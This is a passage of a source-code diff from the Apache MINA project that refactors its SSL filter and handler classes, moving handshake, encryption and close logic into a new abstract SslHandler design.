buf.get(offset + 3) == 0x00 && - buf.get(offset + 4) == 0x12; + super.onPostAdd(parent, name, next); } + /** + * {@inheritDoc} + */ @Override - public void filterWrite(NextFilter nextFilter, IoSession session, - WriteRequest writeRequest) throws SSLException { - if ( LOGGER.isDebugEnabled()) { - LOGGER.debug("{}: Writing Message : {}", getSessionInfo(session), writeRequest); - } + public void onPreRemove(IoFilterChain parent, String name, NextFilter next) throws Exception { + IoSession session = parent.getSession(); + onClose(next, session, false); + } - boolean needsFlush = true; - SslHandler handler = getSslSessionHandler(session); - synchronized (handler) { - if (!isSslStarted(session)) { - handler.scheduleFilterWrite(nextFilter, - writeRequest); - } - // Don't encrypt the data if encryption is disabled. - else if (session.containsAttribute(DISABLE_ENCRYPTION_ONCE)) { - // Remove the marker attribute because it is temporary. - session.removeAttribute(DISABLE_ENCRYPTION_ONCE); - handler.scheduleFilterWrite(nextFilter, - writeRequest); + /** + * Internal method for performing post-connect operations; this can be triggered + * during normal connect event or after the filter is added to the chain. + * + * @param next The nextFilter to call in the chain + * @param session The session instance + * @throws SSLException Any exception thrown by the SslHandler closing + */ + synchronized protected void onConnected(NextFilter next, IoSession session) throws SSLException { + SslHandler sslHandler = getSslHandler(session); + + if (sslHandler == null) { + InetSocketAddress s = InetSocketAddress.class.cast(session.getRemoteAddress()); + SSLEngine sslEngine = createEngine(session, s); + + if(nonBlockingPipeline) { + sslHandler = new SSLHandlerG1(sslEngine, EXECUTOR, session); } else { - // Otherwise, encrypt the buffer. - IoBuffer buf = (IoBuffer) writeRequest.getMessage(); - - if (handler.isWritingEncryptedData()) { - // data already encrypted; simply return buffer - handler.scheduleFilterWrite(nextFilter, writeRequest); - } else if (handler.isHandshakeComplete()) { - // SSL encrypt - int pos = buf.position(); - handler.encrypt(buf.buf()); - buf.position(pos); - IoBuffer encryptedBuffer = handler.fetchOutNetBuffer(); - handler.scheduleFilterWrite( - nextFilter, - new EncryptedWriteRequest( - writeRequest, encryptedBuffer)); - } else { - if (session.isConnected()) { - // Handshake not complete yet. - handler.schedulePreHandshakeWriteRequest(nextFilter, - writeRequest); - } - needsFlush = false; - } + sslHandler = new SSLHandlerG0(sslEngine, EXECUTOR, session); } + + session.setAttribute(SSL_HANDLER, sslHandler); } - if (needsFlush) { - handler.flushScheduledEvents(); - } + sslHandler.open(next); } - @Override - public void filterClose(final NextFilter nextFilter, final IoSession session) - throws SSLException { - SslHandler handler = (SslHandler) session.getAttribute(SSL_HANDLER); - if (handler == null) { - // The connection might already have closed, or - // SSL might have not started yet. - nextFilter.filterClose(session); - return; - } - - WriteFuture future = null; - try { - synchronized (handler) { - if (isSslStarted(session)) { - future = initiateClosure(nextFilter, session); - future.addListener(new IoFutureListener() { - public void operationComplete(IoFuture future) { - nextFilter.filterClose(session); - } - }); - } - } - - handler.flushScheduledEvents(); - } finally { - if (future == null) { - nextFilter.filterClose(session); - } + /** + * Called when the session is going to be closed. We must shutdown the SslHandler instance. + * + * @param next The nextFilter to call in the chain + * @param session The session instance + * @param linger if true, write any queued messages before closing + * @throws SSLException Any exception thrown by the SslHandler closing + */ + synchronized protected void onClose(NextFilter next, IoSession session, boolean linger) throws SSLException { + session.removeAttribute(SSL_SECURED); + SslHandler sslHandler = SslHandler.class.cast(session.removeAttribute(SSL_HANDLER)); + + if (sslHandler != null) { + sslHandler.close(next, linger); } } - private void initiateHandshake(NextFilter nextFilter, IoSession session) - throws SSLException { - LOGGER.debug("{} : Starting the first handshake", getSessionInfo(session)); - SslHandler handler = getSslSessionHandler(session); + /** + * Customization handler for creating the engine + * + * @param session source session + * @param addr socket address used for fast reconnect + * @return an SSLEngine + */ + protected SSLEngine createEngine(IoSession session, InetSocketAddress addr) { + SSLEngine sslEngine; - synchronized (handler) { - handler.handshake(nextFilter); + if (addr != null) { + sslEngine = sslContext.createSSLEngine(addr.getHostString(), addr.getPort()); + } else { + sslEngine = sslContext.createSSLEngine(); } - handler.flushScheduledEvents(); - } - - private WriteFuture initiateClosure(NextFilter nextFilter, IoSession session) - throws SSLException { - SslHandler handler = getSslSessionHandler(session); - - // if already shut down - if (!handler.closeOutbound()) { - return DefaultWriteFuture.newNotWrittenFuture( - session, new IllegalStateException("SSL session is shut down already.")); + // Always start with WANT, which will be squashed by NEED if NEED is true. + // Actually, it makes not a lot of sense to select NEED and WANT. NEED >> WANT... + if (wantClientAuth) { + sslEngine.setWantClientAuth(true); } - // there might be data to write out here? - WriteFuture future = handler.writeNetBuffer(nextFilter); + if (needClientAuth) { + sslEngine.setNeedClientAuth(true); + } - if (future == null) { - future = DefaultWriteFuture.newWrittenFuture(session); + if (enabledCipherSuites != null) { + sslEngine.setEnabledCipherSuites(enabledCipherSuites); } - - if (handler.isInboundDone()) { - handler.destroy(); + + if (enabledProtocols != null) { + sslEngine.setEnabledProtocols(enabledProtocols); } - if (session.containsAttribute(USE_NOTIFICATION)) { - handler.scheduleMessageReceived(nextFilter, SESSION_UNSECURED); + // Set the endpoint identification algorithm + if (getEndpointIdentificationAlgorithm() != null) { + SSLParameters sslParameters = sslEngine.getSSLParameters(); + sslParameters.setEndpointIdentificationAlgorithm(getEndpointIdentificationAlgorithm()); + sslEngine.setSSLParameters(sslParameters); } - - return future; + + sslEngine.setUseClientMode(!session.isServer()); + + return sslEngine; } - // Utilities - private void handleSslData(NextFilter nextFilter, SslHandler handler) - throws SSLException { - if ( LOGGER.isDebugEnabled()) { - LOGGER.debug("{}: Processing the SSL Data ", getSessionInfo(handler.getSession())); - } - - // Flush any buffered write requests occurred before handshaking. - if (handler.isHandshakeComplete()) { - handler.flushPreHandshakeEvents(); + /** + * {@inheritDoc} + */ + @Override + public void sessionOpened(NextFilter next, IoSession session) throws Exception { + if (LOGGER.isDebugEnabled()) { + if (session.isServer()) { + LOGGER.debug("SERVER: Session {} opened", session); + } else { + LOGGER.debug("CLIENT: Session {} opened", session); + } } - // Write encrypted data to be written (if any) - handler.writeNetBuffer(nextFilter); - - // handle app. data read (if any) - handleAppDataRead(nextFilter, handler); + // Used to initiate the HandShake if differed + onConnected(next, session); + super.sessionOpened(next, session); } - private void handleAppDataRead(NextFilter nextFilter, SslHandler handler) { - // forward read app data - IoBuffer readBuffer = handler.fetchAppBuffer(); - - if (readBuffer.hasRemaining()) { - handler.scheduleMessageReceived(nextFilter, readBuffer); + /** + * {@inheritDoc} + */ + @Override + public void sessionClosed(NextFilter next, IoSession session) throws Exception { + if (LOGGER.isDebugEnabled()) { + if (session.isServer()) { + LOGGER.debug("SERVER: Session {} closed", session); + } else { + LOGGER.debug("CLIENT: Session {} closed", session); + } } + + onClose(next, session, false); + super.sessionClosed(next, session); } - private SslHandler getSslSessionHandler(IoSession session) { - SslHandler handler = (SslHandler) session.getAttribute(SSL_HANDLER); - - if (handler == null) { - throw new IllegalStateException(); - } - - if (handler.getSslFilter() != this) { - throw new IllegalArgumentException("Not managed by this filter."); + /** + * {@inheritDoc} + */ + @Override + public void messageReceived(NextFilter next, IoSession session, Object message) throws Exception { + if (LOGGER.isDebugEnabled()) { + if (session.isServer()) { + LOGGER.debug("SERVER: Session {} received {}", session, message); + } else { + LOGGER.debug("CLIENT: Session {} received {}", session, message); + } } - return handler; + SslHandler sslHandler = getSslHandler(session); + sslHandler.receive(next, IoBuffer.class.cast(message)); } /** - * A message that is sent from {@link SslFilter} when the connection became - * secure or is not secure anymore. - * - * @author Apache MINA Project + * {@inheritDoc} */ - public static class SslFilterMessage { - private final String name; - - private SslFilterMessage(String name) { - this.name = name; - } - - @Override - public String toString() { - return name; + @Override + public void messageSent(NextFilter next, IoSession session, WriteRequest request) throws Exception { + if (request instanceof EncryptedWriteRequest) { + if (LOGGER.isDebugEnabled()) { + if (session.isServer()) { + LOGGER.debug("SERVER: Session {} ack {}", session, request); + } else { + LOGGER.debug("CLIENT: Session {} ack {}", session, request); + } + } + + SslHandler sslHandler = getSslHandler(session); + sslHandler.ack(next, request); + + if (request.getOriginalRequest() != request) { + next.messageSent(session, request.getOriginalRequest()); + } + } else { + super.messageSent(next, session, request); } } - private static class EncryptedWriteRequest extends WriteRequestWrapper { - private final IoBuffer encryptedMessage; - - private EncryptedWriteRequest(WriteRequest writeRequest, - IoBuffer encryptedMessage) { - super(writeRequest); - this.encryptedMessage = encryptedMessage; - } - - @Override - public Object getMessage() { - return encryptedMessage; + /** + * {@inheritDoc} + */ + @Override + public void filterWrite(NextFilter next, IoSession session, WriteRequest request) throws Exception { + if (request instanceof EncryptedWriteRequest || request instanceof DisableEncryptWriteRequest) { + super.filterWrite(next, session, request); + } else { + if (LOGGER.isDebugEnabled()) { + if (session.isServer()) { + LOGGER.debug("SERVER: Session {} write {}", session, request); + } else { + LOGGER.debug("CLIENT: Session {} write {}", session, request); + } + } + + SslHandler sslHandler = getSslHandler(session); + sslHandler.write(next, request); } } } diff --git a/mina-core/src/main/java/org/apache/mina/filter/ssl/SslHandler.java b/mina-core/src/main/java/org/apache/mina/filter/ssl/SslHandler.java index 9731a0bcd8..1e6d13735a 100644 --- a/mina-core/src/main/java/org/apache/mina/filter/ssl/SslHandler.java +++ b/mina-core/src/main/java/org/apache/mina/filter/ssl/SslHandler.java @@ -19,787 +19,266 @@ */ package org.apache.mina.filter.ssl; -import java.net.InetSocketAddress; -import java.nio.ByteBuffer; -import java.util.Queue; -import java.util.concurrent.ConcurrentLinkedQueue; +import java.util.Deque; +import java.util.concurrent.ConcurrentLinkedDeque; +import java.util.concurrent.Executor; import javax.net.ssl.SSLEngine; -import javax.net.ssl.SSLEngineResult; import javax.net.ssl.SSLException; -import javax.net.ssl.SSLHandshakeException; -import javax.net.ssl.SSLEngineResult.HandshakeStatus; -import javax.net.ssl.SSLEngineResult.Status; +import javax.net.ssl.SSLSession; import org.apache.mina.core.buffer.IoBuffer; -import org.apache.mina.core.filterchain.IoFilterEvent; import org.apache.mina.core.filterchain.IoFilter.NextFilter; -import org.apache.mina.core.future.DefaultWriteFuture; -import org.apache.mina.core.future.WriteFuture; -import org.apache.mina.core.session.IoEventType; import org.apache.mina.core.session.IoSession; -import org.apache.mina.core.write.DefaultWriteRequest; +import org.apache.mina.core.write.WriteRejectedException; import org.apache.mina.core.write.WriteRequest; import org.slf4j.Logger; import org.slf4j.LoggerFactory; /** - * A helper class using the SSLEngine API to decrypt/encrypt data. - *

    - * Each connection has a SSLEngine that is used through the lifetime of the connection. - * We allocate buffers for use as the outbound and inbound network buffers. - * These buffers handle all of the intermediary data for the SSL connection. To make things easy, - * we'll require outNetBuffer be completely flushed before trying to wrap any more data. - *

    - * This class is not to be used by any client, it's closely associated with the SSL Filter. - * None of its methods are public as they should not be used by any other class but from - * the SslFilter class, in the same package - * + * Default interface for SSL exposed to the {@link SslFilter} + * + * @author Jonathan Valliere * @author Apache MINA Project */ -/** No qualifier*/ class SslHandler { - /** A logger for this class */ - private final static Logger LOGGER = LoggerFactory.getLogger(SslHandler.class); - - /** The SSL Filter which has created this handler */ - private final SslFilter sslFilter; - - /** The current session */ - private final IoSession session; - - private final Queue preHandshakeEventQueue = new ConcurrentLinkedQueue(); - private final Queue filterWriteEventQueue = new ConcurrentLinkedQueue(); - - /** A queue used to stack all the incoming data until the SSL session is established */ - private final Queue messageReceivedEventQueue = new ConcurrentLinkedQueue(); - - private SSLEngine sslEngine; +public abstract class SslHandler { /** - * Encrypted data from the net + * Minimum size of encoder buffer in packets */ - private IoBuffer inNetBuffer; + static protected final int MIN_ENCODER_BUFFER_PACKETS = 2; /** - * Encrypted data to be written to the net + * Maximum size of encoder buffer in packets */ - private IoBuffer outNetBuffer; + static protected final int MAX_ENCODER_BUFFER_PACKETS = 8; /** - * Application cleartext data to be read by application + * Zero length buffer used to prime the ssl engine */ - private IoBuffer appBuffer; + static protected final IoBuffer ZERO = IoBuffer.allocate(0, true); /** - * Empty buffer used during initial handshake and close operations - */ - private final IoBuffer emptyBuffer = IoBuffer.allocate(0); - - private SSLEngineResult.HandshakeStatus handshakeStatus; - - /** - * A flag set to true when the first SSL handshake has been completed - * This is used to avoid sending a notification to the application handler - * when we switch to a SECURE or UNSECURE session. + * Static logger */ - private boolean firstSSLNegociation; - - /** A flag set to true when a SSL Handshake has been completed */ - private boolean handshakeComplete; - - /** A flag used to indicate to the SslFilter that the buffer - * it will write is already encrypted (this will be the case - * for data being produced during the handshake). */ - private boolean writingEncryptedData; + static protected final Logger LOGGER = LoggerFactory.getLogger(SslHandler.class); /** - * Create a new SSL Handler, and initialize it. - * - * @param sslContext - * @throws SSLException + * Write Requests which are enqueued prior to the completion of the handshaking */ - /* no qualifier */ SslHandler(SslFilter sslFilter, IoSession session) throws SSLException { - this.sslFilter = sslFilter; - this.session = session; - } + protected final Deque mEncodeQueue = new ConcurrentLinkedDeque<>(); /** - * Initialize the SSL handshake. - * - * @throws SSLException If the underlying SSLEngine handshake initialization failed + * Requests which have been sent to the socket and waiting acknowledgment */ - /* no qualifier */ void init() throws SSLException { - if (sslEngine != null) { - // We already have a SSL engine created, no need to create a new one - return; - } - - LOGGER.debug("{} Initializing the SSL Handler", sslFilter.getSessionInfo(session)); - - InetSocketAddress peer = (InetSocketAddress) session.getAttribute(SslFilter.PEER_ADDRESS); - - // Create the SSL engine here - if (peer == null) { - sslEngine = sslFilter.sslContext.createSSLEngine(); - } else { - sslEngine = sslFilter.sslContext.createSSLEngine(peer.getHostName(), peer.getPort()); - } - - // Initialize the engine in client mode if necessary - sslEngine.setUseClientMode(sslFilter.isUseClientMode()); - - // Initialize the different SslEngine modes - if (!sslEngine.getUseClientMode()) { - // Those parameters are only valid when in server mode - if (sslFilter.isWantClientAuth()) { - sslEngine.setWantClientAuth(true); - } - - if (sslFilter.isNeedClientAuth()) { - sslEngine.setNeedClientAuth(true); - } - } - - // Set the cipher suite to use by this SslEngine instance - if (sslFilter.getEnabledCipherSuites() != null) { - sslEngine.setEnabledCipherSuites(sslFilter.getEnabledCipherSuites()); - } - - // Set the list of enabled protocols - if (sslFilter.getEnabledProtocols() != null) { - sslEngine.setEnabledProtocols(sslFilter.getEnabledProtocols()); - } - - // TODO : we may not need to call this method... - // However, if we don't call it here, the tests are failing. Why? - sslEngine.beginHandshake(); - - handshakeStatus = sslEngine.getHandshakeStatus(); + protected final Deque mAckQueue = new ConcurrentLinkedDeque<>(); - // Default value - writingEncryptedData = false; - - // We haven't yet started a SSL negotiation - // set the flags accordingly - firstSSLNegociation = true; - handshakeComplete = false; - - if ( LOGGER.isDebugEnabled()) { - LOGGER.debug("{} SSL Handler Initialization done.", sslFilter.getSessionInfo(session)); - } - } - - /** - * Release allocated buffers. + * SSL Engine */ - /* no qualifier */ void destroy() { - if (sslEngine == null) { - return; - } - - // Close inbound and flush all remaining data if available. - try { - sslEngine.closeInbound(); - } catch (SSLException e) { - LOGGER.debug("Unexpected exception from SSLEngine.closeInbound().", e); - } - - if (outNetBuffer != null) { - outNetBuffer.capacity(sslEngine.getSession().getPacketBufferSize()); - } else { - createOutNetBuffer(0); - } - try { - do { - outNetBuffer.clear(); - } while (sslEngine.wrap(emptyBuffer.buf(), outNetBuffer.buf()).bytesProduced() > 0); - } catch (SSLException e) { - // Ignore. - } finally { - destroyOutNetBuffer(); - } - - sslEngine.closeOutbound(); - sslEngine = null; - - preHandshakeEventQueue.clear(); - } - - private void destroyOutNetBuffer() { - outNetBuffer.free(); - outNetBuffer = null; - } + protected final SSLEngine mEngine; /** - * @return The SSL filter which has created this handler + * Task executor */ - /* no qualifier */ SslFilter getSslFilter() { - return sslFilter; - } - - /* no qualifier */ IoSession getSession() { - return session; - } + protected final Executor mExecutor; /** - * Check if we are writing encrypted data. + * Socket session */ - /* no qualifier */ boolean isWritingEncryptedData() { - return writingEncryptedData; - } + protected final IoSession mSession; /** - * Check if handshake is completed. + * Progressive decoder buffer */ - /* no qualifier */ boolean isHandshakeComplete() { - return handshakeComplete; - } - - /* no qualifier */ boolean isInboundDone() { - return sslEngine == null || sslEngine.isInboundDone(); - } - - /* no qualifier */ boolean isOutboundDone() { - return sslEngine == null || sslEngine.isOutboundDone(); - } + protected IoBuffer mDecodeBuffer; /** - * Check if there is any need to complete handshake. + * Instantiates a new handler + * + * @param p engine + * @param e executor + * @param s session */ - /* no qualifier */ boolean needToCompleteHandshake() { - return handshakeStatus == SSLEngineResult.HandshakeStatus.NEED_WRAP && !isInboundDone(); - } - - /* no qualifier */ void schedulePreHandshakeWriteRequest(NextFilter nextFilter, WriteRequest writeRequest) { - preHandshakeEventQueue.add(new IoFilterEvent(nextFilter, IoEventType.WRITE, session, writeRequest)); - } - - /* no qualifier */ void flushPreHandshakeEvents() throws SSLException { - IoFilterEvent scheduledWrite; - - while ((scheduledWrite = preHandshakeEventQueue.poll()) != null) { - sslFilter.filterWrite(scheduledWrite.getNextFilter(), session, (WriteRequest) scheduledWrite.getParameter()); - } - } - - /* no qualifier */ void scheduleFilterWrite(NextFilter nextFilter, WriteRequest writeRequest) { - filterWriteEventQueue.add(new IoFilterEvent(nextFilter, IoEventType.WRITE, session, writeRequest)); + public SslHandler(SSLEngine p, Executor e, IoSession s) { + this.mEngine = p; + this.mExecutor = e; + this.mSession = s; } /** - * Push the newly received data into a queue, waiting for the SSL session - * to be fully established - * - * @param nextFilter The next filter to call - * @param message The incoming data + * @return {@code true} if the encryption session is open */ - /* no qualifier */ void scheduleMessageReceived(NextFilter nextFilter, Object message) { - messageReceivedEventQueue.add(new IoFilterEvent(nextFilter, IoEventType.MESSAGE_RECEIVED, session, message)); - } - - /* no qualifier */ void flushScheduledEvents() { - // Fire events only when no lock is hold for this handler. - if (Thread.holdsLock(this)) { - return; - } - - IoFilterEvent event; - - // We need synchronization here inevitably because filterWrite can be - // called simultaneously and cause 'bad record MAC' integrity error. - synchronized (this) { - while ((event = filterWriteEventQueue.poll()) != null) { - NextFilter nextFilter = event.getNextFilter(); - nextFilter.filterWrite(session, (WriteRequest) event.getParameter()); - } - } - - while ((event = messageReceivedEventQueue.poll()) != null) { - NextFilter nextFilter = event.getNextFilter(); - nextFilter.messageReceived(session, event.getParameter()); - } - } + abstract public boolean isOpen(); /** - * Call when data are read from net. It will perform the initial hanshake or decrypt - * the data if SSL has been initialiaed. - * - * @param buf buffer to decrypt - * @param nextFilter Next filter in chain - * @throws SSLException on errors + * @return {@code true} if the encryption session is connected and secure */ - /* no qualifier */ void messageReceived(NextFilter nextFilter, ByteBuffer buf) throws SSLException { - if ( LOGGER.isDebugEnabled()) { - if ( !isOutboundDone()) { - LOGGER.debug("{} Processing the received message", sslFilter.getSessionInfo(session)); - } else { - LOGGER.debug("{} Processing the received message", sslFilter.getSessionInfo(session)); - } - } - - // append buf to inNetBuffer - if (inNetBuffer == null) { - inNetBuffer = IoBuffer.allocate(buf.remaining()).setAutoExpand(true); - } - - inNetBuffer.put(buf); - - if (!handshakeComplete) { - handshake(nextFilter); - } else { - // Prepare the net data for reading. - inNetBuffer.flip(); - - if (!inNetBuffer.hasRemaining()) { - return; - } - - SSLEngineResult res = unwrap(); - - // prepare to be written again - if (inNetBuffer.hasRemaining()) { - inNetBuffer.compact(); - } else { - inNetBuffer = null; - } - - checkStatus(res); - - renegotiateIfNeeded(nextFilter, res); - } - - if (isInboundDone()) { - // Rewind the MINA buffer if not all data is processed and inbound - // is finished. - int inNetBufferPosition = inNetBuffer == null ? 0 : inNetBuffer.position(); - buf.position(buf.position() - inNetBufferPosition); - inNetBuffer = null; - } - } + abstract public boolean isConnected(); /** - * Get decrypted application data. + * Opens the encryption session, this may include sending the initial handshake + * message * - * @return buffer with data + * @param next The next filter + * + * @throws SSLException The thrown exception */ - /* no qualifier */ IoBuffer fetchAppBuffer() { - IoBuffer appBuffer = this.appBuffer.flip(); - this.appBuffer = null; - return appBuffer; - } + abstract public void open(NextFilter next) throws SSLException; /** - * Get encrypted data to be sent. + * Decodes encrypted messages and passes the results to the {@code next} filter. + * + * @param next The next filter + * @param message the received message * - * @return buffer with data + * @throws SSLException The thrown exception */ - /* no qualifier */ IoBuffer fetchOutNetBuffer() { - IoBuffer answer = outNetBuffer; - if (answer == null) { - return emptyBuffer; - } - - outNetBuffer = null; - return answer.shrink(); - } + abstract public void receive(NextFilter next, final IoBuffer message) throws SSLException; /** - * Encrypt provided buffer. Encrypted data returned by getOutNetBuffer(). + * Acknowledge that a {@link WriteRequest} has been successfully written to the + * {@link IoSession} + *

    + * This functionality is used to enforce flow control by allowing only a + * specific number of pending write operations at any moment of time. When one + * {@code WriteRequest} is acknowledged, another can be encoded and written. + * + * @param next The next filter + * @param request The request to ack * - * @param src - * data to encrypt - * @throws SSLException - * on errors + * @throws SSLException The thrown exception */ - /* no qualifier */ void encrypt(ByteBuffer src) throws SSLException { - if (!handshakeComplete) { - throw new IllegalStateException(); - } - - if (!src.hasRemaining()) { - if (outNetBuffer == null) { - outNetBuffer = emptyBuffer; - } - return; - } - - createOutNetBuffer(src.remaining()); - - // Loop until there is no more data in src - while (src.hasRemaining()) { - - SSLEngineResult result = sslEngine.wrap(src, outNetBuffer.buf()); - if (result.getStatus() == SSLEngineResult.Status.OK) { - if (result.getHandshakeStatus() == SSLEngineResult.HandshakeStatus.NEED_TASK) { - doTasks(); - } - } else if (result.getStatus() == SSLEngineResult.Status.BUFFER_OVERFLOW) { - outNetBuffer.capacity(outNetBuffer.capacity() << 1); - outNetBuffer.limit(outNetBuffer.capacity()); - } else { - throw new SSLException("SSLEngine error during encrypt: " + result.getStatus() + " src: " + src - + "outNetBuffer: " + outNetBuffer); - } - } - - outNetBuffer.flip(); - } + abstract public void ack(NextFilter next, final WriteRequest request) throws SSLException; /** - * Start SSL shutdown process. + * Encrypts and writes the specified {@link WriteRequest} to the + * {@link IoSession} or enqueues it to be processed later. + *

    + * The encryption session may be currently handshaking preventing application + * messages from being written. + * + * @param next The next filter + * @param request The request to write * - * @return true if shutdown process is started. false if - * shutdown process is already finished. - * @throws SSLException - * on errors + * @throws SSLException The thrown exception + * @throws WriteRejectedException when the session is closing */ - /* no qualifier */ boolean closeOutbound() throws SSLException { - if (sslEngine == null || sslEngine.isOutboundDone()) { - return false; - } - - sslEngine.closeOutbound(); - - createOutNetBuffer(0); - SSLEngineResult result; - for (;;) { - result = sslEngine.wrap(emptyBuffer.buf(), outNetBuffer.buf()); - if (result.getStatus() == SSLEngineResult.Status.BUFFER_OVERFLOW) { - outNetBuffer.capacity(outNetBuffer.capacity() << 1); - outNetBuffer.limit(outNetBuffer.capacity()); - } else { - break; - } - } - - if (result.getStatus() != SSLEngineResult.Status.CLOSED) { - throw new SSLException("Improper close state: " + result); - } - outNetBuffer.flip(); - return true; - } + abstract public void write(NextFilter next, final WriteRequest request) throws SSLException, WriteRejectedException; /** - * @param res - * @throws SSLException + * Closes the encryption session and writes any required messages + * + * @param next The next filter + * @param linger if true, write any queued messages before closing + * + * @throws SSLException The thrown exception */ - private void checkStatus(SSLEngineResult res) throws SSLException { - - SSLEngineResult.Status status = res.getStatus(); - - /* - * The status may be: - * OK - Normal operation - * OVERFLOW - Should never happen since the application buffer is sized to hold the maximum - * packet size. - * UNDERFLOW - Need to read more data from the socket. It's normal. - * CLOSED - The other peer closed the socket. Also normal. - */ - if (status == SSLEngineResult.Status.BUFFER_OVERFLOW) { - throw new SSLException("SSLEngine error during decrypt: " + status + " inNetBuffer: " + inNetBuffer + "appBuffer: " - + appBuffer); - } - } + abstract public void close(NextFilter next, final boolean linger) throws SSLException; /** - * Perform any handshaking processing. + * {@inheritDoc} */ - /* no qualifier */ void handshake(NextFilter nextFilter) throws SSLException { - for (;;) { - switch (handshakeStatus) { - case FINISHED: - if ( LOGGER.isDebugEnabled()) { - LOGGER.debug("{} processing the FINISHED state", sslFilter.getSessionInfo(session)); - } - - session.setAttribute(SslFilter.SSL_SESSION, sslEngine.getSession()); - handshakeComplete = true; - - // Send the SECURE message only if it's the first SSL handshake - if (firstSSLNegociation && session.containsAttribute(SslFilter.USE_NOTIFICATION)) { - // SESSION_SECURED is fired only when it's the first handshake - firstSSLNegociation = false; - scheduleMessageReceived(nextFilter, SslFilter.SESSION_SECURED); - } - - if ( LOGGER.isDebugEnabled()) { - if ( !isOutboundDone()) { - LOGGER.debug("{} is now secured", sslFilter.getSessionInfo(session)); - } else { - LOGGER.debug("{} is not secured yet", sslFilter.getSessionInfo(session)); - } - } - - return; - - case NEED_TASK: - if ( LOGGER.isDebugEnabled()) { - LOGGER.debug("{} processing the NEED_TASK state", sslFilter.getSessionInfo(session)); - } - - handshakeStatus = doTasks(); - break; - - case NEED_UNWRAP: - if ( LOGGER.isDebugEnabled()) { - LOGGER.debug("{} processing the NEED_UNWRAP state", sslFilter.getSessionInfo(session)); - } - // we need more data read - SSLEngineResult.Status status = unwrapHandshake(nextFilter); - - if (status == SSLEngineResult.Status.BUFFER_UNDERFLOW - && handshakeStatus != SSLEngineResult.HandshakeStatus.FINISHED || isInboundDone()) { - // We need more data or the session is closed - return; - } - - break; - - case NEED_WRAP: - if ( LOGGER.isDebugEnabled()) { - LOGGER.debug("{} processing the NEED_WRAP state", sslFilter.getSessionInfo(session)); - } - - // First make sure that the out buffer is completely empty. - // Since we - // cannot call wrap with data left on the buffer - if (outNetBuffer != null && outNetBuffer.hasRemaining()) { - return; - } - - SSLEngineResult result; - createOutNetBuffer(0); - - for (;;) { - result = sslEngine.wrap(emptyBuffer.buf(), outNetBuffer.buf()); - if (result.getStatus() == SSLEngineResult.Status.BUFFER_OVERFLOW) { - outNetBuffer.capacity(outNetBuffer.capacity() << 1); - outNetBuffer.limit(outNetBuffer.capacity()); - } else { - break; - } - } - - outNetBuffer.flip(); - handshakeStatus = result.getHandshakeStatus(); - writeNetBuffer(nextFilter); - break; - - default: - String msg = "Invalid Handshaking State" + handshakeStatus + - " while processing the Handshake for session " + session.getId(); - LOGGER.error(msg); - throw new IllegalStateException(msg); - } - } - } + public String toString() { + StringBuilder b = new StringBuilder(); - private void createOutNetBuffer(int expectedRemaining) { - // SSLEngine requires us to allocate unnecessarily big buffer - // even for small data. *Shrug* - int capacity = Math.max(expectedRemaining, sslEngine.getSession().getPacketBufferSize()); + b.append(this.getClass().getSimpleName()); + b.append("@"); + b.append(Integer.toHexString(this.hashCode())); + b.append("[mode="); - if (outNetBuffer != null) { - outNetBuffer.capacity(capacity); + if (this.mEngine.getUseClientMode()) { + b.append("client"); } else { - outNetBuffer = IoBuffer.allocate(capacity).minimumCapacity(0); + b.append("server"); } - } - /* no qualifier */ WriteFuture writeNetBuffer(NextFilter nextFilter) throws SSLException { - // Check if any net data needed to be writen - if (outNetBuffer == null || !outNetBuffer.hasRemaining()) { - // no; bail out - return null; - } + b.append(", connected="); + b.append(this.isConnected()); - // set flag that we are writing encrypted data - // (used in SSLFilter.filterWrite()) - writingEncryptedData = true; - - // write net data - WriteFuture writeFuture = null; - - try { - IoBuffer writeBuffer = fetchOutNetBuffer(); - writeFuture = new DefaultWriteFuture(session); - sslFilter.filterWrite(nextFilter, session, new DefaultWriteRequest(writeBuffer, writeFuture)); - - // loop while more writes required to complete handshake - while (needToCompleteHandshake()) { - try { - handshake(nextFilter); - } catch (SSLException ssle) { - SSLException newSsle = new SSLHandshakeException("SSL handshake failed."); - newSsle.initCause(ssle); - throw newSsle; - } - - IoBuffer outNetBuffer = fetchOutNetBuffer(); - if (outNetBuffer != null && outNetBuffer.hasRemaining()) { - writeFuture = new DefaultWriteFuture(session); - sslFilter.filterWrite(nextFilter, session, new DefaultWriteRequest(outNetBuffer, writeFuture)); - } - } - } finally { - writingEncryptedData = false; - } + b.append("]"); - return writeFuture; + return b.toString(); } - private SSLEngineResult.Status unwrapHandshake(NextFilter nextFilter) throws SSLException { - // Prepare the net data for reading. - if (inNetBuffer != null) { - inNetBuffer.flip(); - } - - if (inNetBuffer == null || !inNetBuffer.hasRemaining()) { - // Need more data. - return SSLEngineResult.Status.BUFFER_UNDERFLOW; - } - - SSLEngineResult res = unwrap(); - handshakeStatus = res.getHandshakeStatus(); - - checkStatus(res); - - // If handshake finished, no data was produced, and the status is still - // ok, try to unwrap more - if (handshakeStatus == SSLEngineResult.HandshakeStatus.FINISHED && res.getStatus() == SSLEngineResult.Status.OK - && inNetBuffer.hasRemaining()) { - res = unwrap(); - - // prepare to be written again - if (inNetBuffer.hasRemaining()) { - inNetBuffer.compact(); + /** + * Combines the received data with any previously received data + * + * @param source received data + * @return buffer to decode + */ + protected IoBuffer resume_decode_buffer(IoBuffer source) { + if (mDecodeBuffer == null) + if (source == null) { + return ZERO; } else { - inNetBuffer = null; + mDecodeBuffer = source; + return source; } - - renegotiateIfNeeded(nextFilter, res); - } else { - // prepare to be written again - if (inNetBuffer.hasRemaining()) { - inNetBuffer.compact(); - } else { - inNetBuffer = null; + else { + if (source != null && source != ZERO) { + mDecodeBuffer.expand(source.remaining()); + mDecodeBuffer.put(source); + source.free(); } - } - - return res.getStatus(); - } - - private void renegotiateIfNeeded(NextFilter nextFilter, SSLEngineResult res) throws SSLException { - if ( ( res.getStatus() != SSLEngineResult.Status.CLOSED ) && - ( res.getStatus() != SSLEngineResult.Status.BUFFER_UNDERFLOW ) && - ( res.getHandshakeStatus() != SSLEngineResult.HandshakeStatus.NOT_HANDSHAKING ) ) { - // Renegotiation required. - handshakeComplete = false; - handshakeStatus = res.getHandshakeStatus(); - handshake(nextFilter); + mDecodeBuffer.flip(); + return mDecodeBuffer; } } /** - * Decrypt the incoming buffer and move the decrypted data to an - * application buffer. + * Stores data for later use if any is remaining + * + * @param source the buffer previously returned by + * {@link #resume_decode_buffer(IoBuffer)} */ - private SSLEngineResult unwrap() throws SSLException { - // We first have to create the application buffer if it does not exist - if (appBuffer == null) { - appBuffer = IoBuffer.allocate(inNetBuffer.remaining()); + protected void suspend_decode_buffer(IoBuffer source) { + if 